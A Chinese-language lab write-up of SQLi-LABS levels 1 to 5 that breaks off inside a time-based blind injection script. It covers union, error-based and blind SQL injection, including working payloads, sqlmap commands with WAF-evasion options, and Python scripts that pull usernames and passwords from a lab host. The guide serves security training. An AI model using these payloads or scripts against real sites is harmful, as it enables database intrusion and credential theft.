SQLi-LABS靶场Less-1~10解题记录
前言
必要知识点
1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
如何判断注入点?
老办法:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
SELECT * FROM users WHERE id='$id' LIMIT 0,1
逻辑运算符
或 且 非
or and xor
真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
SELECT * FROM users WHERE id=1 真
1=1 真
1=2 假
真且真=真
真且假=假
SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常
不能用or判断
要选用最舒服的方法测试:
SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1
随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测没有漏洞
注入方法,以MySQL数据库和****联合注入(union)
1.判断有无注入点
2.猜列数 order by
在注点后加“ order by x”,x为数字,从1开始,最后一个使页面正常的数字为列数
3.报错猜解准备
在注点后加“ union select 1,2,3,…,x”,x为列数
让注入点处的等式为假
4.信息收集
通过显示位收集信息
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
数据库中符号,“.
”代表下一级,如xiao.user表示xiao数据库下的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
查询指定数据库的表名信息:注点等式为假,在注点后加“ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’xxx’
”(这里假设列数为4,且2为显示位,xxx代表数据库名)
查询指定表的列名信息:注点等式为假,在注点后加“ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’xxx’
”(这里假设列数为4,且2为显示位,xxx代表表名)
查询指定数据:注点等式为假,在注点后加“ union select 1,user,password,4 from xxx
”(这里假设列数为4,且2、3为显示位,xxx代表表名,查询信息为user和password)
猜解多个数据可以采用“limit x,1”,变动x得到不同解
手工注入手法总结
Mysql 手工注入
联合注入
?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+
报错注入
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
`substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
盲注
时间盲注
时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3
#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
布尔盲注
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update
insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
报错
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
盲注
#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0
二次注入与宽字节注入
二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'--+ | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户
宽字节注入:针对目标做了一定的防护,单引号转变为 \'
, mysql 会将 \
编码为 %5c
,宽字节中两个字节代表一个汉字,所以把 %df
加上 %5c
就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入
id=-1%df' union select...
#没使用宽字节
%27 -> %5C%27
#使用宽字节
%df%27 -> %df%5c%27 -> 運'
sqlmap常用参数
-u #指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-m #后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。例: -m target.txt
-r #可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。例: -r post.txt
-g #使用google引擎搜索类似的网址,并且多目标检测。例: -g "inurl:\".php?id=1\"" \是转义
-f, --fingerprint #指纹信息,返回DBMS,操作系统,架构,补丁等信息。
-o #开启下面三项(--predict-output,--keep-alive, --null-connection)
--batch #批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值。
--answers=ANSWERS #设置问题答案,在刚刚的--batch 可以跳过很多问题,但只是选择默认值,可以使用者个参数对特定问题设定特定答案。例: --answer "extending=N"
--threads 20 #采用多线程
--level=LEVEL #设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,referer; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload
--risk=RISK #风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
--forms #在目标URL上解析和测试表单。
--eta #显示每个输出的预计到达时间 。
-D DB #指定从某个数据库查询数据,常用。例: -D admindb
-T TBL #指定从某个表查询数据,常用。例: -T admintable
-C COL #指定从某个列查询数据,常用。例: -C username
-X EXCLUDE #指定数据库的标识符。
--roles #查看一共有哪些角色(权限),直接用--roles
--dbs #目标服务器中有什么数据库,常用,直接用--dbs
--tables #目标数据库有什么表,常用,直接用--tables
--columns #目标表中有什么列,常用,直接用--colums
--schema #目标数据库数据库系统管理模式。
--count #查询结果返回一个数字,即多少个。
--dump #询指定范围的全部数据。例: --dump -D admin -T admin -C username
--dump-all #查询全部数据。例: --dump-all --exclude-sysdbs
--data=DATA #指明参数是哪些。例:-u "www.abc.com/index.php?id=1" --data="name=1&pass=2"
--method=METHOD #指定是get方法还是post方法。例: --method=GET --method=POST
--proxy=127.0.0.1 #--proxy参数来使用户在进行注入的过程中使用代理
--random-agent #随机的(自定义)UA,目标网站使用waf,此方法可以绕过根据特征进行防御网站攻击的waf,在level>=3时会检测user-agent注入。
--user-agent="Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" #自定义的UA
--delay=DELAY #每次发包的延迟时间,单位为秒,浮点数。例:--delay 2.5 有时候频繁的发包会引起服务器注意,需要使用delay降低发包频率。延时注入,其中2.5是延迟执行sql注入的秒数
--list-tampers #列出所有sqlmap的tamper脚本以及其对应的描述
--referer=REFERER #指定http包中的refere字段。例: --refere="aaaaa" 在level>=3时才会检测refere注入。使用referer欺骗(–referer “http://www.baidu.com”)
--ignore-code=IG.. #无视http状态码。例: --ignore-code=401
--ignore-proxy #无视本地的代理,有时候机器会有最基本的代理配置,在扫描本地网段的时候会很麻烦,使用这个参数可以忽略代理设置。
--ignore-redirects #无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉。
--ignore-timeouts #略连接超时。
--tamper=TAMPER #使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
--technique=TECH #指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
--time-sec=TIMESEC #在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
--union-cols=UCOLS #联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
--union-char=UCHAR #联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
--union-from=UFROM #联合查询从之前的查询结果中选择列,和上面的类似。
--dns-domain=DNS.. #如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
--second-order=S..#在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php
刷题(Less1~Less10为GET类型)
Less-1(GET - Error based - Single quotes - String)
基于错误的GET单引号字符型注入
方法一:手工UNION联合查询注入
注入步骤
输入单引号,发现页面报错(通过在url中修改对应的id值。为正常数字、大数字、字符、(单引号、双引号、双单引号、括号)、反斜杆来探测url是否存在注入点)
?id=1'
这里它意味着使用的查询是:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
下面进行注入测试
注意 id=非正确值
猜列数,输入order by 10
报错,输入order by 5
还报错,输入order by 3
没有报错,在输入order by 4
报错,所以可以判断当前字段值为3
?id=-1' order by 3 --+
?id=-1' order by 4 --+
通过?id=-1' union select 1,2,3 --+
来判断显示的字段,可知第二和第三个字段可以显示,
暴库暴版本
?id=-1' union select 1,database(),version() --+
得到‘security’库名
暴表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
或
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查到 emails,referers,uagents,users ,显然users是用户数据表
暴列名(字段)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
得到列名id,username,password
暴值
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。
脚本
import requests
import threading
import queue
from lxml import etree
NUM=5 #线程数
LIST=[]
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
def bypass(payload):
'''
:param payload:
:return:
'''
if payload:
if 'order' not in payload:
payload+=' limit {},1'
# 添加前缀
payload = "' "+ payload
# 添加后缀
payload += " --+"
return payload
def brute_field_num(url):
'''
暴力测试数据表的字段数
:param url:
:return: 数据表的字段数
'''
try:
n=1
while True:
payload=url+bypass(" order by {}".format(n))
print(payload)
res=requests.get(payload,headers=headers)
if 'Unknown column' in res.text:
return n-1
n+=1
except Exception as e:
print(e)
class UnionSql(threading.Thread):
def __init__(self,url,xpath,q):
self.url=url
self.xpath=xpath
self.q=q
super().__init__()
def run(self):
global LIST
headers={'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
str1 = ''
n=self.q.get()
payload=self.url.format(n)
# print(payload)
res=requests.get(payload,headers=headers).text
html=etree.HTML(res)
text=html.xpath(self.xpath)
LIST.append(text)
def main(url,xpath):
q = queue.Queue()
thread_list = []
for n in range(NUM):
q.put(n)
for n in range(NUM):
thread_list.append(UnionSql(
url,xpath,q))
for t in thread_list:
t.start()
for t in thread_list:
t.join()
print(LIST)
if __name__ == '__main__':
db="union select 1,2,schema_name from information_schema.schemata"
table="union select 1,2,table_name from information_schema.tables where table_schema='security'"
column="union select 1,2,column_name from information_schema.columns where table_name='users' and table_schema='security'"
value="union SELECT 1,username,password from security.users"
url = "http://192.168.74.143:86/Less-1/?id=-1"
xpath = '/html/body/div/font[2]/font/text()'
main(url+bypass(value),xpath)
方法二:手工报错型注入
步骤
检测报错型
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失败
注意id=正确值
暴表
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
暴列名(字段)
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
暴值
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
显然没有完全显示
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+
脚本
import requests
import threading
import queue
from lxml import etree
import re
NUM=5 #线程数
LIST=[]
headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
def bypass(payload):
'''
:param payload:
:return:
'''
if payload:
payload="and (updatexml(1,concat(0x7e,("+payload+" limit {},1),0x7e),1))"
payload = "' "+payload # 添加前缀
payload += " --+" # 添加后缀
return payload
class ErrorSql(threading.Thread):
def __init__(self,url,xpath,q):
self.url=url
self.xpath=xpath
self.q=q
super().__init__()
def run(self):
global LIST
headers={'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'}
str1 = ''
n=self.q.get()
payload=self.url.format(n)
# print(payload)
res=requests.get(payload,headers=headers).text
html=etree.HTML(res)
text=html.xpath(self.xpath)
LIST.append(text)
def main(url,xpath):
q = queue.Queue()
thread_list = []
for n in range(NUM):
q.put(n)
for n in range(NUM):
thread_list.append(ErrorSql(
url,xpath,q))
for t in thread_list:
t.start()
for t in thread_list:
t.join()
print(LIST)
if __name__ == '__main__':
db="select schema_name from information_schema.schemata"
table="select table_name from information_schema.tables where table_schema='security'"
column="select column_name from information_schema.columns where table_name='users' and table_schema='security'"
value="SELECT username from security.users"
url = "http://192.168.74.143:86/Less-1/?id=-1"
print(url+bypass(value))
xpath = '/html/body/div/font[2]/font/text()'
main(url+bypass(column),xpath)
方法三:sqlmap工具自动注入
清除sqlmap缓存:python sqlmap.py --purge
1.进行暴库,找到数据库类型以及确定有注入点可利用
python sqlmap.py -u "http://192.168.74.143:86/Less-1/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbs
2.查看当前使用的数据库 --current-db
python sqlmap.py -u "http://192.168.74.143:86/Less-1/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql --current-db
3. 查看数据库中的表–table
python sqlmap.py -u "http://192.168.74.143:86/Less-1/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D "security" --tables
4. users表中应该有我们想要的,获取字段–column
python sqlmap.py -u "http://192.168.74.143:86/Less-1/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D "security" -T "users" -columns
5. 显示我们需要的字段 --dump
python sqlmap.py -u "http://192.168.74.143:86/Less-1/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D "security" -T "users" -C "password:username" -dump
代码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Less-2(GET -Error based - lntiger based)
基于错误的GET整型注入
方法一:手工UNION联合查询注入
判断报错,
?id=1 and 1=1
?id=1 and 1=2
这里它意味着使用的查询是:
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1
暴列数
?id=1 and 1=2 order by 3
?id=1 and 1=2 order by 4
暴出位置
?id=1 and 1=2 union select 1,2,3
暴出库,版本
?id=1 and 1=2 union select 1,version(),database()
暴出表
?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
暴出字段
?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
暴出记录
?id=1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from users
方法二:手工报错型注入
暴出表
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
暴出字段
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))
暴出记录
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))
显示未完全
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina'))))
方法三:sqlmap工具自动注入
清除sqlmap缓存:python sqlmap.py --purge
python sqlmap.py -u "http://192.168.74.143:86/Less-2/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-2/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql --current-db
python sqlmap.py -u "http://192.168.74.143:86/Less-2/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-2/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D security -T users --column
python sqlmap.py -u "http://192.168.74.143:86/Less-2/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D security -T users -C username,password --dump
代码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less-3(GET - Error based - Single quotes with twist - string)
基于错误的GET单引号变形字符型注入
分别尝试将 ?id=1
?id=1'
?id=1"
添加到url中,发现?id=1'
报错,说明是字符型注入(初步认定为单引号注入而返回的结果中包含有一个小括号所以可推定出==>带单个括号的单引号注入)。
所以我们再用这样的代码来进行测试看是否是注入点:
?id=1′) -- #
这里它意味着使用的查询是:
SELECT * FROM users WHERE id=('1′) -- ') LIMIT 0,1
方法一:手工UNION联合查询注入
单引号+)报错
?id=1') and 1=1 --+
?id=1') and 1=2 --+
暴列数
id非正确值
?id=-1') order by 3 --+
?id=-1') order by 4 --+
暴出位置
?id=-1') union select 1,2,3 --+
暴出表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
暴出字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
暴出记录
?id=-1') union select 1,2,group_concat(username,0x3a,password) from users --+
方法二:手工报错型注入
暴出表
id为正确值
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
暴出字段
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
暴出记录
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
未显示完全
?id=1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+
方法三:sqlmap工具自动注入
清除sqlmap缓存:python sqlmap.py --purge
python sqlmap.py -u "http://192.168.74.143:86/Less-3/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-3/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql --current-db
python sqlmap.py -u "http://192.168.74.143:86/Less-3/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-3/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D security -T users --column
python sqlmap.py -u "http://192.168.74.143:86/Less-3/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbms=mysql -D security -T users -C username,password --dump
代码分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
Less-4(GET - Error based - Double Quotes - string)
基于错误的GET双引号字符型注入
分别尝试将 ?id=1
?id=1'
?id=1"
添加到url中,发现?id=1" 报错,说明是字符型注入(初步认定为双引号注入而返回的结果中包含有一个小括号可推断出==>带单个括号的双引号注入)。
这里它意味着,代码当中对 id 参数进行了 "" 和 () 的包装。
所以我们再用这样的代码来进行注入:
?id=1") -- #
这里它意味着使用的查询是:
SELECT * FROM users WHERE id=("1") -- ") LIMIT 0,1
方法一:手工UNION联合查询注入
判断报错
?id=1") and 1=1 --+
?id=1") and 1=2 --+
暴列数
id值为不正确值
?id=-1") order by 3 --+
?id=-1") order by 4 --+
暴出位置
?id=-1") union select 1,2,3 --+
暴出表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
暴出字段
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
暴出记录
?id=-1") union select 1,2,group_concat(username,0x3a,password) from users --+
方法二:手工报错型注入
暴出表
id为正确值
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
暴出字段
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
暴出记录
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
未显示完全
?id=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+
方法三:sqlmap工具自动注入
清除sqlmap缓存:python sqlmap.py --purge
python sqlmap.py -u "http://192.168.74.143:86/Less-4/?id=1" --answers="extending=N" --batch --threads=20 --technique=E --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-4/?id=1" --answers="extending=N" --batch --threads=20 --dbms=mysql --current-db
python sqlmap.py -u "http://192.168.74.143:86/Less-4/?id=1" --answers="extending=N" --batch --threads=20 --leve=5 --risk=3 --technique=E --dbms=mysql -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-4/?id=1" --answers="extending=N" --batch --threads=20 --dbms=mysql -D security -T users --column
python sqlmap.py -u "http://192.168.74.143:86/Less-4/?id=1" --answers="extending=N" --batch --threads=20 --dbms=mysql -D security -T users -C username,password --dump
代码分析
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
Less-1~Less-4总结
这四道题属于基于错误的 SQL 注入。通过源码我们可以看出他们的规律:
-
\(sql="SELECT * FROM users WHERE id='\)id' LIMIT 0,1";
-
\(sql="SELECT * FROM users WHERE id='\)id' LIMIT 0,1";
-
\(sql="SELECT * FROM users WHERE id=('\)id') LIMIT 0,1";
-
$id = '"' . \(id . '"'; \)sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";\
合并:\(sql="SELECT * FROM users WHERE id=("\)id") LIMIT 0,1";
总的来说他们主要切入点是 引号的闭合问题,而且他们都是对回显的情况下进行注入,属于最基本,也是最简单的SQL注入
Less-5(GET - Double Injection - Single Quotes - String)
双注入GET单引号字符型注入
分别尝试将 ?id=1
?id=1'
?id=1"
添加到url中,发现?id=1'
报错,说明是字符型注入(初步认定单引号注入)。
方法一:时间延迟型手工注入
步骤
时间延迟型手工注入,正确会延迟,错误没有延迟。
这个方法的工作量比较大
验证时间延迟型的盲注:
?id=1' and sleep(5)--+
发现明显延迟,
爆库长,=8正好,一般情况需要考虑 >8 <8
?id=1' and if(length(database())=8,sleep(5),1) --+
爆库名,接下来我们就可以使用一位一位的判断
可以自己写脚本,也可以burp
?id=1' and if(left(database(),1)='s',sleep(5),1) --+
爆表名
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
爆列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
暴数据
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
脚本
import datetime
import requests
import time
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = "http://192.168.74.143:86/Less-5/"
payload = "?id=1' and if(length(database())>%s,sleep(1),0) --+" % i
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
print(i)
else:
print(i)
break
print('database_len:', i)
database_len()
# 获取数据库名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = "http://192.168.74.143:86/Less-5/"
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+" % (j, i)
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
name += i
# print(name)
break
print('database_name:', name)
database_name()
# 获取数据库表
def table_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://192.168.74.143:86/Less-5/"
payload = "?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',sleep(1),1) --+" % (j, i)
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name += i
# print(name)
break
print('table_name:', name)
table_name()
# 获取表中字段
def column_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://192.168.74.143:86/Less-5/"
payload = "?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s',sleep(1),1)--+" % (j, i)
time1 = datetime.datetime.now()
r = requests.get(url + payload + '%23')
